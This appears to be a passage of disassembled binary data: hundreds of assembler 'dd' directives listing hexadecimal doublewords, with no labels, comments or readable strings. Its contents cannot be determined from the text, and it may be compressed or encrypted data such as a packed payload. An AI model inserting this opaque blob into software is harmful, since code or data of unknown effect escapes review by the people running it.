		dd 1AB51FA3h, 4AC74066h, 188AE84Eh, 64AE1200h, 9FCB1644h
		dd 0E5991770h, 0B5DF8092h, 0A72E48BCh, 0B9898135h, 0C4BDA0BDh
		dd 40C537D8h, 2500F94Dh, 7B1C8088h, 3C9E0209h, 42DD8BFDh
		dd 6A71B00h, 6519B4A2h,	81BD648h, 0A89355h, 37177567h
		dd 0E317D1F8h, 8E411548h, 3FB19F05h, 97EA6A80h,	5DD329AEh
		dd 4816958h, 88B8CBD9h,	811CF192h, 0EC5B6F87h, 0B0407130h
		dd 7FF13F8Ah, 0A1CB1584h, 0E18A80A7h, 2362560Ah, 0C92D24DFh
		dd 0E964A165h, 1FC0002Ch, 0A647ABADh, 0ADB03C34h, 73F7A4A0h
		dd 78EA8B0Bh, 794820F3h, 1680F293h, 675168Ah, 0DFD488B1h
		dd 1702C417h, 84C99300h, 5995F7D9h, 4C84F1ACh, 3A16C065h
		dd 9EF0F2E7h, 64481901h, 342210FEh, 53BC343h, 116FD54Ch
		dd 0B4D9D09Fh, 5C0C4A71h, 203C33C1h, 0AF9D3C03h, 0DFE09180h
		dd 0D634974Bh, 858DFF0Ch, 186E2C21h, 2EC31FD3h,	4300A107h
		dd 0EF67AECh, 0B84A8D6Dh, 0C59A770Eh, 60C623h, 0D6AD11AAh
		dd 7480D7Fh, 76F4C1Dh, 76A605EFh, 32A44581h, 0A1F19040h
		dd 0EE46002Ch, 198D8393h, 9CE00678h, 0DF53C503h, 0AF4110E7h
		dd 0ED1A00Eh, 51A418h, 3BD27F82h, 4D347578h, 0ED4BB100h
		dd 242AEC95h, 0E99D0038h, 0D1A2B32Eh, 1700056Bh, 411D13C4h
		dd 9753EAh, 22269839h, 0D55ACCBAh, 9F00EF4Ah, 0D2A02D7Dh
		dd 0F07167Ah, 9805401Bh, 58DB4D24h, 0FE484898h,	2F5B25B1h
		dd 7DC030BFh, 0EE2859B1h, 0E1827A07h, 7310F96Fh, 0C52298Fh
		dd 27DB7664h, 9FB20F33h, 407ABA00h, 334EA66Ah, 9F6D5CE3h
		dd 4B1924h, 35086D9h, 23505980h, 0CEA1A0F0h, 644CDD87h
		dd 0DF789748h, 2E28FA7Dh, 8B00A934h, 574E029Dh,	38365A61h
		dd 0A0A72D0h, 81B2F596h, 0EEA23D2Bh, 0D6229356h, 0AD300C13h
		dd 902F9395h, 0BC20EFA8h, 0F1E407D6h, 0D02E8C4Bh, 5479BC58h
		dd 9700D198h, 635178B7h, 426DA75h, 0E5539F5h, 0BE3390A8h
		dd 4F4B545Bh, 5A424B40h, 0BF1D83h, 6BA7FAE8h, 3C30F704h
		dd 9D0F6D01h, 20923397h, 66214131h, 7B0AFCECh, 0CA320989h
		dd 980081F3h, 661B733Fh, 0C004BC24h, 673EA200h,	90968F01h
		dd 117000DDh, 0AD9B0F05h, 0D109353Bh, 643694FAh, 0A1F4001Ah
		dd 0F72651EEh, 93FE0661h, 5D00CFFAh, 7969EBDBh,	3DAC12FEh
		dd 1ACC353Ah, 136EC600h, 76110D03h, 8F15C204h, 55900893h
		dd 231975Fh, 0B2B82ACBh, 0D4C2774Eh, 0D5013550h, 0B6B59A82h
		dd 6760D98Fh, 0C3212C87h, 0CC803CDDh, 16885F45h, 26B8AC10h
		dd 263DE058h, 71039EB3h, 0B0930BFFh, 0A4DEC64Ah, 0E65809CEh
		dd 0AE907E6Eh, 682D73F5h, 9FB850F8h, 9B8BE5Fh, 56C0685Ch
		dd 0FA8918FFh, 0AD189F41h, 0EA2F99E4h, 69AFD105h, 5B16F9C5h
		dd 4395C1EAh, 0B4E93A08h, 4EB55BC8h, 5C6DFFAh, 0DC96E95Ch
		dd 0DD84CE80h, 0A0B81813h, 0C5038EA1h, 0CD01E0F6h, 0B3329A2Ah
		dd 0F203733h, 2C8B1EB8h, 0E40AC65h, 2969733Bh, 3547B00Eh
		dd 305AA04Bh, 8303EDD7h, 0C6ACF270h, 0B2CDD840h, 13EC004Ah
		dd 0CCB16F28h, 0EA000719h, 5F5D3E46h, 124BACE8h, 24FE08h
		dd 56E4DD82h, 4A0085D8h, 0A9C2033Ch, 1214362h, 77553215h
		dd 0F8240B20h, 4F1F12A8h, 98813A6Ah, 146E155Eh,	7656A6CCh
		dd 7E1E009Bh, 725A301Ah, 0A40AB6F1h, 8913E801h,	652A4580h
		dd 1C930C5Bh, 0C077914Fh, 6FB759D5h, 0BB098066h, 5FF956B2h
		dd 2DC0C980h, 0F9A00F70h, 2B80626Fh, 0E96024D2h, 0D9B34045h
		dd 0EB48DAE7h, 0B7F500A5h, 9CBC7A3Bh, 8AD6002Ah, 1C8B61CBh
		dd 0C2E86016h, 805B573Ch, 5F43F381h, 0C0F863EBh, 0DE71530Eh
		dd 0C3FCF90Bh, 0BF4D1F00h, 3E37B816h, 532A1F97h, 74F14266h
		dd 0D2408F4Ah, 0F16CA8Ah, 46F0FBBFh, 811E09B4h,	0F7F38FAh
		dd 1685C66Ah, 0C628C3A7h, 110027E9h, 8EF38255h,	7F6DC87Ch
		dd 926C1D64h, 19F86F7Eh, 0FC0FF40h, 0BED3F585h,	2A6908C0h
		dd 303D6F31h, 566B80ADh, 0C5B16112h, 0CE74FEDAh, 0CE403C9Eh
		dd 871DFCA6h, 86F4EFF0h, 750E9CF8h, 879D2FBAh, 0F5405B81h
		dd 33EC014Fh, 3B2199F0h, 771CD6A0h, 0FC111DFh, 0F9067AC8h
		dd 0ED0C3806h, 4915BAB3h, 41DF0671h, 10957690h,	4432F102h
		dd 23E8DA47h, 0E0F84A1Ch, 9C807C19h, 37411E9Fh,	3EE1B2h
		dd 92D3167Eh, 18A596D9h
		dd 8F8F51Ah, 20C1F905h,	9A7B66F0h, 70C49401h, 61636351h
		dd 8039B810h, 747FA399h, 0A510072h, 8083BC43h, 6500BE86h
		dd 0F311F6B9h, 7CB509A8h, 12A13C73h, 0B4FA9E0Fh, 0D19BBA06h
		dd 920C2400h, 863A4835h, 72D7926h, 323D3F9Fh, 85F8091h
		dd 343A8193h, 1EEA4835h, 2900BBD2h, 4530860Dh, 3A8D3AD6h
		dd 39B69D00h, 50993856h, 74292600h, 0B80F5A28h,	3654003Ah
		dd 2756349Ah, 44073393h, 0F13F8532h, 45E3388Ah,	0C782C343h
		dd 6354184Ah, 2280085Ah, 0B00038C3h, 359F0536h,	743020h
		dd 910C4351h, 0A59D3F5Ah, 3840331Dh, 725560Fh, 41DE09B0h
		dd 0D9F15FBFh, 0A32CD187h, 84288355h, 9CF03944h, 1C0604AFh
		dd 510F6E8h, 0D00A761Ah, 3EC840BBh, 5173B395h, 2D100090h
		dd 3912DBE5h, 0FC4050F2h, 9F198B31h, 8746E06Ah,	208208A1h
		dd 60BF864h, 21E78F7h, 80C39C41h, 3266802Ch, 53009050h
		dd 2340C9Fh, 9A0C7188h,	5B308170h, 794206FFh, 9BA058B2h
		dd 0A476C813h, 2C40C3D1h, 0E837829Ch, 59EC40F5h, 0A8707632h
		dd 509E2C78h, 43015885h, 0E929BE79h, 3490DFB0h,	75C4C8EFh
		dd 0AE0804A6h, 419C64E7h, 62BE6E1Ch, 311B2881h,	30987A5Eh
		dd 0CA18E12h, 0FCC2EB9Ch, 7E7CE448h, 0B8682B26h, 21C4073Fh
		dd 74427112h, 750C835Eh, 0FC055090h, 7EEB6913h,	8D85B009h
		dd 727BC729h, 0C83CB18h, 79C2E081h, 0EEFE1468h,	587458A0h
		dd 0F41AAC14h, 882EE864h, 0F09851C5h, 28C3255h,	0FB100EBCh
		dd 0B8A85206h, 42773516h, 4E177554h, 995BF0A1h,	21F84CF8h
		dd 9070332Ch, 39105C24h, 9B480892h, 5A170A83h, 5EC10AF9h
		dd 648C9FFFh, 0A8E45191h, 2231093Dh, 7C93167Ah,	165E9821h
		dd 946C0C6Eh, 9A595991h, 0E39C0CCCh, 293B510Eh,	9A8811F5h
		dd 0BC64E051h, 0A559BE65h, 94279884h, 153AE3F1h, 12049860h
		dd 327A128Eh, 8028FD0Ch, 99A34A51h, 99F20A0Ch, 5852058Ch
		dd 0A1048A94h, 884C7E85h, 32E0C5A5h, 2AF40874h,	93F77542h
		dd 9F401294h, 0CE604265h, 2846EF7Ah, 800A9D45h,	63990A34h
		dd 83A4820Ch, 3D9A2260h, 2AF00C67h, 1B828F79h, 46FF1ACBh
		dd 0A7844A8h, 8F6880AEh, 77C20C99h, 0A7ACE486h,	7ABCFB9Ch
		dd 7465B888h, 0F2A08C55h, 0B1EC169Bh, 90F1EC12h, 0D8D8144Ah
		dd 0B574116Bh, 506157DFh, 7CD1B0C4h, 0E4C1517Eh, 73221DEh
		dd 0F8811642h, 799365DAh, 5FD83557h, 0D9582430h, 364C527Ch
		dd 19F92C67h, 469EF81Ah, 0EC01F9D1h, 94401196h,	13945953h
		dd 29EA58Eh, 0B4E1FE04h, 263CE22h, 0CC90F315h, 0E63076C7h
		dd 9C2A1855h, 63A2B0A6h, 644E70E5h, 0E77E44E4h,	2229C10h
		dd 43C5653h, 8AC067C6h,	70E81479h, 4E1753Ch, 0D895EC47h
		dd 0A9043C47h, 78B18729h, 0BC0340AAh, 0A820EF00h, 0BF282D7Fh
		dd 9D361D44h, 211FC3A9h, 27DB5AA1h, 41F145E1h, 0F0A02F14h
		dd 24B8D634h, 7433B102h, 4898D952h, 0ACFCACh, 0B8122AC4h
		dd 0B01DF565h, 21E008CCh, 0C4A400DDh, 0B6BDE1EEh, 5202A369h
		dd 0F937578Fh, 26646E8Ah, 8D4FA36h, 4580FCBAh, 7C54A5E2h
		dd 90CC125Dh, 0FE90D0F5h, 0EB80B964h, 809A405Fh, 0AC20A412h
		dd 79B29804h, 21688141h, 11204F28h, 1C83974Eh, 13C4EA8Eh
		dd 0B83E300Ah, 0BCFB24BCh, 179FCC83h, 0DE0DF1C9h, 305446D0h
		dd 9EA82B03h, 0B5262481h, 55804C71h, 0FF20B42Ch, 99150C2Dh
		dd 6C0845F4h, 54B621C0h, 46421B4h, 794D3A5h, 0DB108CD8h
		dd 0EC1C7A18h, 60B22279h, 94BC3960h, 0CA00DA35h, 0D0330E24h
		dd 8AB7A6h, 93090C73h, 3A913843h, 16D0AF62h, 70B4035Fh
		dd 30094100h, 1BA1417Fh, 0A43C00C2h, 0FE2B2151h, 0CD03E0B9h
		dd 480AC1CBh, 2329D063h, 95B9C0F9h, 0B135BECFh,	807C7604h
		dd 0E4811C97h, 0CB1086F4h, 61001DF2h, 51D97A08h, 27105785h
		dd 78912A24h, 55A8C056h, 4B094F1Fh, 0A4279840h,	4238246h
		dd 6E18CB65h, 0AF64C15Ah, 5C102066h, 89221627h,	4A5426D8h
		dd 951C3018h, 4078C479h, 771BA900h, 0EFE3765Dh,	0FB0F00ADh
		dd 0B4D1B7B3h, 75007A0Ah, 354257D2h, 0B1B5216Eh, 45A10E20h
		dd 0FFBAA3A0h, 0B300140Eh, 614EDF6Ah, 60B2DD79h, 3997297Fh
		dd 73009B4Dh, 0B4E5B5ABh, 4997A2Fh, 6A6E1A51h, 0C3BC9053h
		dd 63820236h, 61A3ECh, 0D5B97441h, 0C9520503h, 0EE6FAB04h
		dd 5BC05CCEh, 29713DDh,	0EC34F1CAh, 94400A8Fh, 0C90172A8h
		dd 0C2CF6951h, 62B993h,	0E588AA00h, 0F2264617h,	0AC732A00h
		dd 49FCC510h, 90625097h, 0F43B05ABh, 0C0501F1Ch, 0E0849F98h
		dd 91661631h, 0A050981Dh, 1BC04AFh, 12DBC9DFh, 20FD72FBh
		dd 59032AC4h, 8F5DE742h, 739DEB5h, 6B1B019Ah, 1C02C928h
		dd 0CF00DFF9h, 4067E440h, 0F7013F60h, 9BD41585h, 0CBD4F2F4h
		dd 228B4C6h, 0DE496E1Eh, 0B4C4A863h, 0B8004670h, 0FC42C175h
		dd 2E178C82h, 0CB8A4C8h, 2191F9E6h, 0CAA62D01h,	9AFE0891h
		dd 53A57882h, 3048EFD9h, 6D7E2EE3h, 5E6C1C0Fh, 0EE0B6099h
		dd 6F47AC66h, 91AC302Ah, 86007EF9h, 90EDF518h, 0ECA8AB38h
		dd 2EB7008Ah, 29AFC90Eh, 0FF13252Bh, 8008156Dh,	0C4AFC053h
		dd 0A046122Bh, 0DA00E422h, 2ECDC4A7h, 48CE090h,	72AAF737h
		dd 8A448067h, 567B660Eh, 0E7A6E0C4h, 19E04100h,	0A0C08420h
		dd 695AAAF4h, 0FA2B3EEBh, 0EC959B14h, 0C621AD00h, 520A031Dh
		dd 0CA926D03h, 0E1A59190h, 819E96DAh, 402ADCC7h, 0AF1C92B8h
		dd 4890E43Ah, 75CF363Bh, 86CB1009h, 3954011Fh, 92F1895Eh
		dd 0BE3824h, 906742C5h,	849EA7B0h, 5E435709h, 0FE240073h
		dd 90ED2616h, 2A98F0C8h, 0A8931Ch, 0AAD089C1h, 51F08BE4h
		dd 7B905600h, 1F9A7AFh,	0D9F5161Eh, 0B1808C99h,	0A1F3EC2Dh
		dd 9B7790B0h, 973C2182h, 24647C51h, 950D5C1Eh, 77CB9D00h
		dd 0B5E682Ah, 71F9351Ah, 47924C04h, 51405A34h, 0C212022h
		dd 961F8B83h, 6006661h,	0C5CA36C2h, 79E119EDh, 0E27400C4h
		dd 4707DD09h, 4E017B37h, 0F925502Bh, 6BFAB2CEh,	0FBCB893Ch
		dd 185C7C70h, 18F6B606h, 1BE41021h, 37F8ED3Ch, 9BA0699Eh
		dd 0E6FE247h, 88322D4Eh, 51FC0240h, 0A9C0EBDAh,	70E4872h
		dd 6FFD078Dh, 70AA854Dh, 0CB83AE2Dh, 0B8F5FE14h, 249C00E0h
		dd 1C2BF13Ch, 6161C085h, 1AA9582Ch, 2802D50h, 806E84A9h
		dd 58244421h, 1D8C4A8Bh, 78936A16h, 83AD4801h, 81941FAAh
		dd 27697229h, 8BC4C8A7h, 0B871796h, 16125Bh, 0D43FC395h
		dd 6257ADDh, 70097Bh, 612A2DE8h, 3C2499B5h, 0C26B7C01h
		dd 0D01EB7EFh, 0B9E277FEh, 0DF7EECF6h, 2FE2B300h, 3A0FCA2Dh
		dd 115024E6h, 0B9A00424h, 920497F4h, 0A863313Eh, 72855098h
		dd 8FEBFCA9h, 0A0263621h, 3BFC191Eh, 17907CDAh,	0ACECF92h
		dd 5C288123h, 0A201EA46h, 90295DC6h, 0BE9870F7h, 75F07C9Ah
		dd 20D49755h, 0EA401A5Ch, 26C30039h, 5F573A3Ch,	9892473Eh
		dd 550C337Bh, 61FABA9Ch, 0DC0B043Bh, 0C00740D8h, 71335EF3h
		dd 467A2105h, 0E4E49487h, 7C422C66h, 9724001Ch,	0C7458921h
		dd 7946053Fh, 93CCB238h, 0E05622ABh, 6F23302Fh,	2C96FE00h
		dd 49123863h, 9F22D824h, 0D7606400h, 2C59DCE1h,	915007E8h
		dd 80658742h, 77E94F8Bh, 1B223D77h, 1366F6F6h, 0F080FB5h
		dd 8D0027C4h, 2B029082h, 6FCA94Ch, 1575F73Ah, 34374C41h
		dd 48031610h, 0D5522FCh, 14CEC895h, 1051CC18h, 21233E0Eh
		dd 0DA150413h, 0E5E888h
		dd 12D7D99Ah, 0AEEE350Bh, 0ACF002FAh, 0A1810F00h, 7AB7CAECh
		dd 67032866h, 90B51EACh, 5F41F076h, 0D138C372h,	0A42A28F8h
		dd 8014A749h, 7A2C3123h, 0E8448C29h, 312B0033h,	0D3E5FE7Ch
		dd 849241BAh, 674FF275h, 0A9990C1Fh, 2018A658h,	7A2D3109h
		dd 401C21h, 0D3312834h,	0D5E97F9Fh, 1F245214h, 0DFBF80CCh
		dd 257D49h, 1C4BD0BAh, 2210E6EEh, 0FE1D2B78h, 0FD229D2h
		dd 0CEF01899h, 4C9B4CB6h, 20B5CD17h, 475BD2F8h,	51AD5D00h
		dd 0F744EC23h, 0B0ACEA18h, 0D85F02A8h, 0FEC5E2BAh, 2717F4E4h
		dd 0F047537Ch, 8351C65Fh, 2186FF2Fh, 0C9E5027Ah, 6C90D94Ah
		dd 4A072C9h, 98689AEEh,	1A108588h, 0C89680Ch, 6028A084h
		dd 2150C4AAh, 0D7C08812h, 58C4A2h, 0D1DEDCC3h, 0FEBACB12h
		dd 86047496h, 32025322h, 2C905174h, 2912C4ADh, 4CCBB012h
		dd 0C4A5DC00h, 0D86DE3A1h, 47641000h, 0C2ECDDB3h, 603094D9h
		dd 798CB1CBh, 0A1808E12h, 7C8580DBh, 0C139C756h, 60641536h
		dd 0C620FBBCh, 0F7B92A13h, 0F3BF07A4h, 408B41C5h, 0B28614AAh
		dd 8D88A459h, 0C4304246h, 0F001054Ah, 11A65ADh,	0CF11FA20h
		dd 0F8B8807Bh, 1C0AF1EEh, 1F517E87h, 27D216F9h,	0A0450485h
		dd 0FC7C9C4Ch, 18C01EB8h, 0EEFFB8F0h, 7C29C4B6h, 1EFC845Ah
		dd 0D05E1E30h, 0C1FE1271h, 0C0A57808h, 7A2A3125h, 9151D921h
		dd 0C88651ECh, 4D029640h, 0AE545083h, 73C4376h,	0AABBB621h
		dd 39A74399h, 0A3F0DDFBh, 0B901E8DBh, 37DEC8EDh, 1C3988F9h
		dd 6E4282E8h, 20688D73h, 32975742h, 662DACC1h, 582A02D0h
		dd 313D1AAFh, 22421097h, 17E90758h, 31F737DAh, 291F08AEh
		dd 0C56E00C8h, 2C0CAA34h, 2C63EB10h, 9FD1007Fh,	7D6A306Eh
		dd 1016ACCCh, 504152EBh, 87660229h, 0F40E9C2Ch,	742B39C1h
		dd 903750E0h, 60B49D80h, 0B70250E9h, 0A27E6293h, 1208235Ch
		dd 3840EED9h, 0E5B931AEh, 1D6CFEF4h, 0D12EFAh, 0F67CC546h
		dd 1490E9A6h, 0F7222F00h, 3C9F05BAh, 0B2720E2Bh, 0D7235771h
		dd 8AC0A0FEh, 0EB002EB5h, 0C80293CDh, 1A90FDh, 52F13F9h
		dd 0CEFC9BD9h, 50E0DA30h, 770CD539h, 0C019005Ch, 0F99CF080h
		dd 0CE6426F6h, 8FC0FF20h, 0A947D2h, 0EC4C5BDCh,	0E686F435h
		dd 0A559600h, 6CD65765h, 14280077h, 0B5458BC6h,	8F1D4A47h
		dd 9681DA2Bh, 0D724420Ah, 0BF0048BEh, 85B7DC88h, 6931B22Bh
		dd 0AB87209Dh, 0C071FEECh, 0C94C4671h, 8062932Ch, 451928h
		dd 0D07E68CDh, 517085F8h, 55EBAF00h, 0EA3A759Dh, 0BA923054h
		dd 74D5C18h, 21066AF6h,	85740A65h, 0D280C040h, 9AA2A54Eh
		dd 59CDCC1Eh, 0ABFB5BC0h, 0E3F6699h, 7754D730h,	88B1A98Dh
		dd 0CB4B180h, 0DEC94B92h, 7D2FA600h, 80F4E107h,	9B89006Ch
		dd 5A71903Fh, 8707A7E4h, 9A63C4FCh, 2BBB603Fh, 3F65CA1Ch
		dd 600FAC5Bh, 1DC2A0h, 71CDC830h, 3D00F1B1h, 3428E34Ch
		dd 0CDA47h, 48416679h, 60BB5285h, 7769840Eh, 4D54E79Fh
		dd 76409747h, 7A5E9808h, 0A230367h, 0A6EB757Ch,	6D844F98h
		dd 0EA4DBB00h, 865A7761h, 7C64786Eh, 0CC76E852h, 55106328h
		dd 124E4A3Eh, 0B6077861h, 8980BB6Fh, 3C5A676Dh,	9A3E5994h
		dd 72775703h, 49C150EBh, 4C62E084h, 7E559726h, 35B8321Ah
		dd 8500F704h, 9B785165h, 81530280h, 0DB629A4Fh,	0EE181894h
		dd 1810FAC9h, 0A73B007Fh, 6F4DFFE2h, 16038559h,	7C8FD9E3h
		dd 0A31801A2h, 6A2211CDh, 0EFEAF04Dh, 0CA594260h, 0F2A8933Fh
		dd 356C00C7h, 0D8D66AF6h, 0F40037F7h, 0CD0C808h, 0AA14F2h
		dd 0D9471F7Eh, 2D45AEF9h, 0C87FE900h, 0D31AFDDDh, 89100326h
		dd 8F1BABDh, 85E66380h,	0F91F3403h, 6B879D8h, 147CA18h
		dd 0F81E705Ch, 40A835E7h, 6F32730Ch, 1D64D95Bh,	3C46ECFCh
		dd 0F863EA3Ah, 72A77CF2h, 7D30FE8Eh, 0F769046Fh, 6CDA2CBEh
		dd 4B8518A0h, 0D72F102Ch, 0E51C180Ch, 109168FFh, 109FE271h
		dd 88027067h, 217EA986h, 1DA3BCA0h, 11618D12h, 205A7F40h
		dd 509C1804h, 0E3785137h, 32B1DA61h, 8C4AFB44h,	5D71B104h
		dd 0C173781Bh, 0EB19F680h, 0E2884221h, 81808CAFh, 0D2A086B9h
		dd 0DCEE0F12h, 0BD2D0C41h, 4CFCE16Ch, 95750630h, 894037A9h
		dd 0D9484350h, 391F48C9h, 45E2072Ch, 83177164h,	0A3B9B549h
		dd 5336E025h, 0A17EE3h,	0BB8A4EFBh, 7669EA6Dh, 50825A00h
		dd 6184714Ah, 0E999F040h, 9B2C7863h, 4F4C0550h,	0CF548780h
		dd 6C6A0363h, 9E4A30FFh, 0AF0A94EBh, 44A30C56h,	46D27A60h
		dd 48B90AE1h, 0C1048A4Dh, 0F19A68EDh, 0C4DBEh, 9D647008h
		dd 4689EA7Ch, 520B304Ch, 413E0898h, 20BEFD21h, 0A0B3535Ah
		dd 87E44AA4h, 0C83795A0h, 83E4C5C8h, 0FB2B4C50h, 51AB6630h
		dd 0CCF49F53h, 0CA3D8101h, 6814F109h, 0AA88CF08h, 87207020h
		dd 9CB74DB1h, 87360ABEh, 2420CA1h, 98CB2BBh, 806D550h
		dd 0A4A42876h, 0FC09FB64h, 0FE91FD48h, 5044FF22h, 12528951h
		dd 48542453h, 22569155h, 29284457h, 2B122A89h, 2D4F2C24h
		dd 69924F80h, 970A7464h, 0BC037A6Fh, 0B8C5468Ch, 9484A540h
		dd 0CABA0450h, 0BF940825h, 0AF9200BCh, 41C3F9C1h, 7C697CDBh
		dd 34AA004Ch, 0AD313D46h, 0FA00D847h, 0FB73AF85h, 0E85B41B3h
		dd 0F043E88Bh, 4090F1A3h, 0AAAE109Bh, 46374A00h, 470D3152h
		dd 12FB4D3Ch, 489AA256h, 0FF04D0FFh, 56C6B2EAh,	6B7F6388h
		dd 69736588h, 0B2F08145h, 5838A546h, 4C08785Dh,	1DB7762h
		dd 644D4896h, 90099191h, 40B1841h, 0C0E0AEFAh, 0B90045E2h
		dd 0D4CC3DEh, 0A07EA644h, 0A5831A10h, 0B9B57038h, 1A93F601h
		dd 0AEC4B6BDh, 0C0429BF0h, 45B86E18h, 46050E78h, 4DA32E77h
		dd 802D1C0Fh, 10C1CE3Ah, 0C6A7294Ah, 0A7DE3C28h, 3E0C72E4h
		dd 28DB0176h, 0FA5331EEh, 0C49B8930h, 7207666Fh, 0C4E63EBh
		dd 4F7C94C0h, 9FE4F1EDh, 0DB6B0099h, 4D57E808h,	5038EB9Dh
		dd 8F14D248h, 6AEE0679h, 6E890F30h, 5782614Ah, 75009F67h
		dd 5F8572h, 6D964966h, 6045F98Dh, 864C4F00h, 0EF9D8946h
		dd 188C6153h, 0E4496350h, 4D1D4169h, 80366186h,	1D707428h
		dd 0BA767252h, 9B4E7C06h, 0EE187853h, 77316257h, 5989614Fh
		dd 4D4B559Bh, 0D8A8090Ch, 6D17EA9Ch, 0CBC7566h,	0B884E28h
		dd 54857377h, 7C4040DCh, 73CA08F3h, 2AA9F0F4h, 71E80C7Dh
		dd 55E30DCDh, 7B314D6Ah, 0A4EF90DCh, 762F00D4h,	0D46B3683h
		dd 0D0F9A34Bh, 863DCE37h, 0D37FAF5Dh, 0F6326124h, 7B7F42Dh
		dd 8B28BD0Ch, 1F0CC9A0h, 4CC05C0Bh, 0D968E347h,	0A9757A31h
		dd 4D004050h, 25E899C7h, 0FCD6C310h, 0E158E319h, 8184279h
		dd 0BB07B221h, 864C6890h, 0C3150E4h, 0D9E06F90h, 59C7C618h
		dd 8888C7C2h, 0F20F361Dh, 20401534h, 29C86359h,	0B4A3395Ah
		dd 5918FFABh, 6A81CDF2h, 0EE79C548h, 0A12C04EDh, 0D8D60139h
		dd 0C840C088h, 0C0FBA7EFh, 92A6C520h, 0FF02E4D7h, 0C97985B9h
		dd 28A04011h, 514B60B6h, 25D3478Ch, 0FAC7EF18h,	18A0BC79h
		dd 30C8E81Dh, 0B9C2E6E2h, 0A067F3FCh, 991FC0FCh, 0C7E82A05h
		dd 99AD60A4h, 4B6F7F01h, 0BE37DCA1h, 8358CF1h, 30F13168h
		dd 391841E6h, 99C57A1Ah, 5810A745h, 55461184h, 0FD891001h
		dd 0EE08F1B9h, 8F2F8020h, 30D46112h, 95DC286Ah,	2A4C4018h
		dd 0E889587Ch, 0C1542631h, 0E9D8D705h, 855BA448h, 0F331BDC4h
		dd 0B888190Eh, 1A59A0C9h, 0C4857408h, 354F310Ch, 34509019h
		dd 0AB90AC8Fh, 44082321h
		dd 537B7EDAh, 88291085h, 0FF21D4FCh, 233F440Ah,	103FE414h
		dd 0ADA25007h, 504FCC11h, 28369F84h, 64468446h,	0A2D7FA1h
		dd 9C117521h, 18EFC3A8h, 5CFB4CE3h, 0B66C2192h,	8C881449h
		dd 31CF60C2h, 41DF9A05h, 0F0C821C1h, 61B252F3h,	8C61DB40h
		dd 801E124Dh, 5A414434h, 0B90C8BDh, 8420DF92h, 6479820Dh
		dd 470AB170h, 7E828E31h, 7486FFE2h, 7D29100Eh, 58A13857h
		dd 0C4225990h, 0F2703350h, 33C0856h, 0B6290348h, 0A81105B5h
		dd 21D8D3F5h, 33C4EEA0h, 48952664h, 397494Ch, 6D122D83h
		dd 2807AB29h, 776F8706h, 440C8410h, 867295h, 4969474Eh
		dd 3C9654EBh, 41666300h, 4D6DED9Bh, 9532703Bh, 523D2070h
		dd 0E285C78h, 0C0997349h, 5369F99Ch, 0F408B87Ch, 0F298E878h
		dd 779F0766h, 0C59E8147h, 0EFF88174h, 0BF40BE5Ch, 83027353h
		dd 85704109h, 9E40A046h, 0B8645C84h, 7C80B01Ch,	786A2C3Dh
		dd 0B03021F0h, 89494F98h, 0F1C6D53h, 50487C0Eh,	5479FA00h
		dd 57844E41h, 5F604F53h, 48A864E2h, 706D8430h, 748C9389h
		dd 76591537h, 858418FAh, 0D890AA50h, 0E462073h,	89637595h
		dd 49822CB5h, 0A0E1EB4Ch, 0F091D94Dh, 95727E85h, 0F9384CFBh
		dd 81007BF8h, 4A6B4D85h, 576A979Ch, 4047147Fh, 867E4700h
		dd 75827B40h, 7C60850Fh, 30AF5276h, 93586218h, 0D455BC96h
		dd 707F6C00h, 71633E97h, 66683E6Ah, 7E4CA700h, 864D7450h
		dd 0D406D03h, 0E4677B44h, 894100D7h, 32E0B87Ah,	867524A2h
		dd 85618798h, 7E0DE05Fh, 73264D63h, 0F83A4098h,	0ABFA28C1h
		dd 66F67F50h, 856CA020h, 4864F896h, 7612EC60h, 0B6746086h
		dd 91D3400Bh, 80AE388Bh, 809A8590h, 84D89554h, 9E4B7216h
		dd 305A9049h, 904C8140h, 9DBB1658h, 0FA731D84h,	93BA941Dh
		dd 4DD003EEh, 76C0AAEBh, 40C46B97h, 73805D89h, 7635352h
		dd 73A6869Bh, 628F5E49h, 0C58C0312h, 40BB9756h,	766980E8h
		dd 612670B0h, 0AF02FC77h, 43825A75h, 52EFC8A0h,	0E8D89576h
		dd 69E860C7h, 0E158BBCFh, 0B62B8373h, 579F0EFCh, 0C8978D48h
		dd 64E1EDE1h, 1D30A6E7h, 0FC515249h, 8973A163h,	854C4AE0h
		dd 9B4D6F05h, 30B39483h, 0F829E5EBh, 0F09F4BD0h, 1D4BBA6h
		dd 9E735D40h, 3C606652h, 0B4FD4A08h, 2B189DE4h,	0F042E4A1h
		dd 771C61EFh, 4870A02Bh, 414AE890h, 0ACBEB0FDh,	9E951690h
		dd 4BC44299h, 0B4C16255h, 9E4676Dh, 999B65A6h, 9861610Ch
		dd 0B06756E4h, 885297DCh, 0F0F766E8h, 0C4B17853h, 0A60C1C24h
		dd 5875097Bh, 0E452C449h, 5350768Ch, 0AFE4C0B2h, 2086722Eh
		dd 5D858204h, 7CEB10C3h, 3A577869h, 762EEE9Ch, 89494220h
		dd 3C902C96h, 0EB044BF8h, 849B7753h, 16234C3h, 995A4D58h
		dd 0F74A4057h, 49ECB0E6h, 186BAF29h, 5F0950A4h,	7D287B9Ah
		dd 7F7B0476h, 0BE747E08h, 0FA299CCAh, 4CA7421Ch, 9216189Dh
		dd 3F77C840h, 53416D98h, 70BC684Eh, 0EA6D7802h,	0C09E775Dh
		dd 0BA6A41D8h, 0EE733F64h, 189F6215h, 5DF8345Bh, 6B06C750h
		dd 4D02B192h, 6020744Ch, 4F69EA17h, 93133816h, 0A0664483h
		dd 9E4157EFh, 0D4E6493Ch, 0E90DB3Ah, 40779852h,	80494D69h
		dd 48780E55h, 4C217C86h, 2F7D61EFh, 0C29B3CE0h,	4B87A764h
		dd 50019C8Bh, 81646E9Dh, 86626721h, 0A1EF7C50h,	503D4A69h
		dd 0C8B09F25h, 576765FAh, 60006968h, 0A161809Ah, 344B8480h
		dd 415F79B2h, 507D86D0h, 1EBE34D0h, 0BB6F4A6Bh,	4132D790h
		dd 0BBF0809Eh, 0E80E623Ah, 50843F3Eh, 5C524C03h, 211E7363h
		dd 4D479A9Eh, 64D5999Bh, 76A6C803h, 66902D72h, 7432E090h
		dd 3821809Ch, 7C7E10A9h, 4D61076Ch, 4F62694Eh, 2863EF86h
		dd 590460BEh, 1C84514Bh, 7271DC01h, 20816AEFh, 4C775EEBh
		dd 8243A97h, 0E077B8B1h, 0E1C4462Ah, 8C218044h,	0F839A75Ch
		dd 48646D80h, 6A3FA696h, 4D88624Bh, 8EDC8E89h, 41D01452h
		dd 0E076D1D8h, 49134F01h, 41E6B99h, 807714h, 36785397h
		dd 0A3654A0Ch, 0F052EDB0h, 0E85802EFh, 28549B57h, 19289466h
